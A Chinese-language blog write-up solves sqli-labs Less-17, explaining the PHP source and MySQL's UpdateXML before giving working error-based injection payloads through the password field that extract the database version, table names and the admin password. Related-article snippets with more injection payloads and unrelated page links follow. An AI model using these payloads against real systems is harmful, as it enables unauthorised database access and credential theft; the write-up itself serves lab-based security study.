0x01简介

百度翻译了一下 基于错误的更新查询 字符型

第一次遇到这种情况 那我们先看看源代码行吧

不懂函数的百度

$result = mysql_query($sql);//返回查询的数据的一个结果集,需要用php相应的mysql函数取值。比如mysql_fetch_array()这个函数。还有你说的前一节课用到的mysql_query(),这个函数是执行sql语句的,并不是取值。

$row = mysql_fetch_array($result)意思是从查询结果里面获取一行数据,这个语句的前面两行大概是:
$sql='select a,b,c from .....';
$result=mysql_query($sql);
那么,执行这个语句之后,$row['a']、$row['b']等变量就有查询数据的一条

$update="UPDATE users SET password = '$passwd' WHERE username='$row1'"; 这句话是我自己的理解 这里的意思是在users列里面找到username字段对应的password并且更新它

这是别的理解

我们这里来看一下怎么处理usernm的

只截取15个字符

get_magic_quotes_gpc()

当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1

当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0

stripslashes()

删除由 addslashes() 函数添加的反斜杠

ctype_digit()判断是不是数字,是数字就返回true,否则返回false

mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。

那这里对useamane参数进行了 check 但是未对 passwrod进行检查  因此我们可以从password下手

接下来看下updatexml这个函数,一直网上都说的很模糊,都只是给的payload:and (updatexml(1,concat(0x5c,version(),0x5c)),1),这里只看得出来需要三个参数,但是参数是什么意思缺一无所知,我们只能通过help来查看

从UpdateXML(xml_target, xpath_expr, new_xml)看出

第一个参数是目标是针对于xml文档

第二参数是xpath的表达,这里可以看下xpath教程: http://www.w3school.com.cn/xpath/

第三个参数是将xpath表达式转换成什么,也就是替换查找到的符合条件的数据

以上看了下,表示还是有些懵逼。

那就来按照他的方式实例玩玩是怎么回事

是不是没看懂,为什么会这样,我把内容拿出来分析

2)同样的第二条UpdateXML('<a><b>ccc</b><d></d></a>', '/b', '<e>fff</e>') AS val2;可以看出将第一个参数的内容装换为了<e>fff</e>,但是由于查找方式是从第一个点开始查询,这里直接跳过了从第二开始查询,所以没有查询到,看下面的说明

这样一来使用//就可以随便查询了,不会考虑节点的位置问题,其他的就依次内推

那么分析完了接下来我们对password开始下手吧

0X01爱之初体验

爆破版本

uname=admin&passwd=' and (updatexml(1,concat(0x5c,version(),0x5c),1))#submit=submit

0X02表名的获取

uname=admin&passwd=' and (updatexml(1,concat(0x5c,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x5c),1))#submit=submit

爆破列名同表名的方法

这里我们来看看字段名

uname=admin&passwd=' and (updatexml(1,concat(0x5c,(select password from users where username='admin'),0x5c),1))#submit=submit

按照道理这里不会错啊 为什么会报错呐?

百度

搜嘎原来如此 那我们如何绕过呐?????

网上学习的大牛的思路 在构造一个select语句

uname=admin&passwd=1' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin')aa),0x5c),1))#submit=submit

少就是多 慢就是快 慢慢学

sqli-labs(17)的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  3. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  4. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  5. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  6. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  7. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  8. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  9. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

  10. Sqli labs系列-less-5&6 报错注入法(下)

    我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...

随机推荐

  1. adb 打印kernel输出的log

     一. linux 内核printk机制     1.1. Android内核是基于Linxu kernel的,因此其log机制也是通用的,在Android内核中使用printk函数进行Log输出.与 ...

  2. 记一次神奇的codeforces

    今天有一场codeforces的div3,时间挺合适,于是就想打.结果发现rating超过1600就不能报名.虽然shzr好久不打CF了而且很菜,但是毕竟还是到了1600的,于是和ZUTTER_一起用 ...

  3. 对Elastic集群内部配置TLS加密通信及身份验证

    1.介绍 官方宣布从6.8和7.1开始,免费提供多项安全功能.其中包括tls加密通信,基于角色访问控制等功能. 可以使用企业CA证书来完成这一步骤,但是一般情况下,我们可以通过elasticsearc ...

  4. Jpa 重写方言dialect 使用oracle / mysql 数据库自定义函数

    在使用criteria api进行查询时 criteriaBuilder只提供了一个部分标准的sql函数,但当我们需要使用oracle特有的行转列函数wm_concat或 mysql特有的行转列函数g ...

  5. 28、周末看电影(每周五自动从top250中随机选取三部电影,并将下载链接发到邮箱里)

      练习介绍   在第3关的一个课后练习里,我们爬取了指定电影的下载链接:在第6关的一个课后练习里,我们存储了豆瓣TOP250的榜单信息.   现在,我们完善这个程序,每周五在存储的榜单中,随机抽三部 ...

  6. java中<<,>>和>>>的含义

    <<,>>,>>>为java中的移位运算符. <<表示左移运算符 例如8<<2,表示将8向左移2位,结果为32.低位补0. 二进制演算 ...

  7. shell编程注意点

    1.标准输入输出转存不能随便用,例如: echo "export PATH=/home/huangmr/jdk/bin:\$PATH" >> /home/huangmr ...

  8. [HAOI2010]软件安装(Tarjan,树形dp)

    [HAOI2010]软件安装 题目描述 现在我们的手头有N个软件,对于一个软件i,它要占用Wi的磁盘空间,它的价值为Vi.我们希望从中选择一些软件安装到一台磁盘容量为M计算机上,使得这些软件的价值尽可 ...

  9. MyBatis主配置文件(转载)

    原文地址:http://limingnihao.iteye.com/blog/1060764 其中高亮字体是我的理解. 在定义sqlSessionFactory时需要指定MyBatis主配置文件: X ...

  10. Spring 核心之IOC 容器

    核心概念: IOC(Inversion of Control)控制反转:所谓控制反转,就是把原先我们代码里面需要实现的对象创建.依赖的代码,反转给容器来帮忙实现. DI(Dependency Inje ...